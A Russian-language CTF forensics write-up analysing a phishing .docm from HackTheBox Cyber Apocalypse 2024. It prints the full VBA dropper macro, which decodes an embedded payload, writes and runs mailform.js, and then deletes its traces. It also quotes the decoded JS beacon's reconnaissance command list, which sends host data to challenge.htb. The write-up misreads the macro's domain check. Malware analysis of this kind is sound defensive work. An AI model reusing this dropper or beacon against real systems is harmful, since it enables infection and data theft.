Закончился ежегодный CTF от HackTheBox Cyber Apocalypse 2024: Hacker Royale - After Party и конечно, там снова были интересные задания по форензике, которые удалось решить за отведённое на CTF время. В этом райтапе хочу поделиться решением задания "Game Invitation" по форензике уровня Hard. Заодно попрактиковаться в разборе фишинговых вложений и исследовании VBA-кода.
Небольшая вводная:
In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: "Join The Fray: Embrace the Challenge." But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?
Решать задание будем на подготовленных виртуальных машинах под ОС Windows (не имеет доступ в сеть интернет), с предустановленным браузером Chrome и MS Office Word и REMnux с предустановленными oletools.
После загрузки задания пред нами предстанет файл invitation.docm (docm означает, что в файле имеется VBA-макрос). Посмотрим на него подробнее, в этом нам помогут набор утилит oletools от Didier'a Stevens'a:
olevba3 invitation.docm
В результате получаем код VBA-макроса (листинг 1, представлен ниже) и резюмирующую таблицу (рисунок 2), в которой описаны популярные трюки, которые используют атакующие. Например, выполняется код при открытии файла (функция AutoOpen) и закрытии файла (функция AutoClose), а также другие Xor, Shell, Put. Давайте взглянем на них подробнее, чтобы разобраться, что происходит в коде.
Листинг 1 - код VBA-макроса
Public IAiiymixt As String
Public kWXlyKwVj As String
Function JFqcfEGnc(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
JFqcfEGnc = True
End Function
Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
aMUsvgOin.DeleteFile kWXlyKwVj & "\*.*", True
Set aMUsvgOin = Nothing
End Sub
Sub AutoOpen()
On Error GoTo MnOWqnnpKXfRO
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then
Else
Dim gIvqmZwiW
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
gIvqmZwiW = FreeFile
Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
Dim CbkQJVeAG() As Byte
ReDim CbkQJVeAG(file_length)
Get #gIvqmZwiW, 1, CbkQJVeAG
Dim SwMbxtWpP As String
SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim vTxAnSEFH
Set vTxAnSEFH = CreateObject("vbscript.regexp")
vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count = 0 Then
GoTo MnOWqnnpKXfRO
End If
For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 13082
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows"
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
kWXlyKwVj = Environ("appdata")
End If
Set aMUsvgOin = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
IAiiymixt = kWXlyKwVj & "\" & "mailform.js"
Open (IAiiymixt) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
End If
End Sub
Анализ VBA-макроса.
Давайте разберемся, что здесь происходит и заодно отредактируем код для дальнейшего исследования.
После открытия файла пользователем (если у него включены макросы – и отжато "разрешить редактирование" и "включить содержимое") выполняется функция AutoOpen(), где прежде всего проверяется наличие ошибок (функция MnOWqnnpKXfRO и в случае их обнаружения, при помощи оператора GoTo, происходит переход на функцию MnOWqnnpKXfRO, в которой осуществляется закрытие объекта #K764B5Ph46Vh. Нам необходимо изучить все артефакты, которые способен отдать нам макрос, поэтому закомментируем функцию MnOWqnnpKXfRO и все её упоминания в коде (комментарий в VBA осуществляется через знак ' ) .
'MnOWqnnpKXfRO:
'Close #K764B5Ph46Vh
'ActiveDocument.Save
После чего идёт проверка, что домена, на котором запускается файл на наличие записи "GAMEMASTERS.local". В случае, если это не так, выполняется остальной код (это сделано, чтобы код не запускался в домене GAMEMASTERS.local, где он, собственно, и разрабатывался). В объявленную переменную file_length записывается размер ранее загруженного файла invitation.docm в байтах (с использованием FileLen(ActiveDocument.FullName)), после чего файл открывается на побайтовое чтение. Функция Get #gIvqmZwiW, 1, CbkQJVeAG возвращает массив байтов с 1-го элемента нашего файла (объект #gIvqmZwiW = invitation.docm). Далее происходит конвертация байтов в строку SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode) и уже с помощью регулярных выражений и шаблона "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa", полученное содержимое преобразовывается в массив строк длинной 133027 символа, после чего содержимое с элемента 133027 + 81 записывается в массив байт Wk4o3X7x1134j. На следующем этапе идёт преобразование путём операции XOR каждого элемента с ключом 45, за это отвечает функция JFqcfEGnc().
Получившаяся на выходе полезная нагрузка записывается в javascript файл mailform.js по пути %APPDATA%\mailform.js (IAiiymixt = kWXlyKwVj & "\" & "mailform.js"), при помощи функции Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j. Давайте на данном этапе изменим путь на удобный для нас: kWXlyKwVj = "C:\Users\Antony\Desktop\forensics_game_invitation". После успешной записи файл mailform.js запускается через wscript.exe: Set R66BpJMgxXBo2h = CreateObject("WScript.Shell") с аргументом "vF8rdgMHKBrvCoCp0ulm". Перед тем как переходить к исследованию файла mailform.js, необходимо закомментировать функцию AutoClose(), т.к. код внутри функции отвечает за удаление файла mailform.js сразу после закрытия документа.
' Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
aMUsvgOin.DeleteFile kWXlyKwVj & "\*.*", True
Set aMUsvgOin = Nothing
End Sub
Исследование дропнутой полезной нагрузки в mailform.js.
Пришло время исследовать JS файл mailform.js с полезной нагрузкой. Для удобства изучения, загрузим содержимое в JS Beautifier (https://beautifier.io/).
Время - ресурс ограниченный, особенно на CTF поэтому погружаться в работу функций по декодированию/расшифрованию: function JrvS(r), function b(r) и function xR68(r, a) я особо не стал, решив, что дебаг и получение полезной нагрузки в открытом виде наиболее быстрый путь решения задачи. Как мне удалось выяснить в дальнейшем, функция JrvS() отвечает за декодирование из Base64, а функция xR68() за расшифрование алгоритмом RC4 на ключе, который передаётся аргументом (как мы уже заметили из кода VBA-макроса). Давайте изменим данный скрипт и подставим значение-ключ из VBA-макроса "vF8rdgMHKBrvCoCp0ulm", которое передаётся при запуске (заменив var DASz = lVky(0); на var DASz = "vF8rdgMHKBrvCoCp0ulm";. А также удалим содержимое: | и прочее содержимое на 80 строке. Полученный JS код можно запустить в браузере через консоль разработчика на виртуальной машине или воспользоваться утилитой box-js в образе REMnux (подробнее).
Важно помнить, что исследование в динамике вредоносных файлов должно производиться исключительно на виртуальных машинах без доступа в сеть интернет.
Открыв консоль в браузере (на виртуальной машине), выполним модифицированный нами JS код. После выполнения мы получаем расшифрованный JS-код (строка).
Загрузим также содержимое в JS Beautifier (https://beautifier.io/).
Мы получили C2 Beacon на JS, который собирает информацио о скомпрометированном хосте (var LwHA = new Array("systeminfo > ", "net view >> ", "net view /domain >> ", "tasklist /v >> ", "gpresult /z >> ", "netstat -nao >> ", "ipconfig /all >> ", "arp -a >> ", "net share >> ", "net use >> ", "net user >> ", "net user administrator >> ", "net user /domain >> ", "net user administrator /domain >> ", "set >> ", "dir %systemdrive%\\\\Users\\\\*.* >> ", "dir %userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\\\\*.* >> ", "dir %userprofile%\\\\Desktop\\\\*.* >> ", 'tasklist /fi "modules eq wow64.dll" >> ', 'tasklist /fi "modules ne wow64.dll" >> ', 'dir "%programfiles(x86)%" >> ', 'dir "%programfiles%" >> ', "dir %appdata% >>");) и передаёт на сервер challenge.htb через POST запросы.
В Cookie POST-запросов и был найден флаг в Base64.
Заключение:
Такое нетрудное задание было на CTF по форензике уровня Hard =).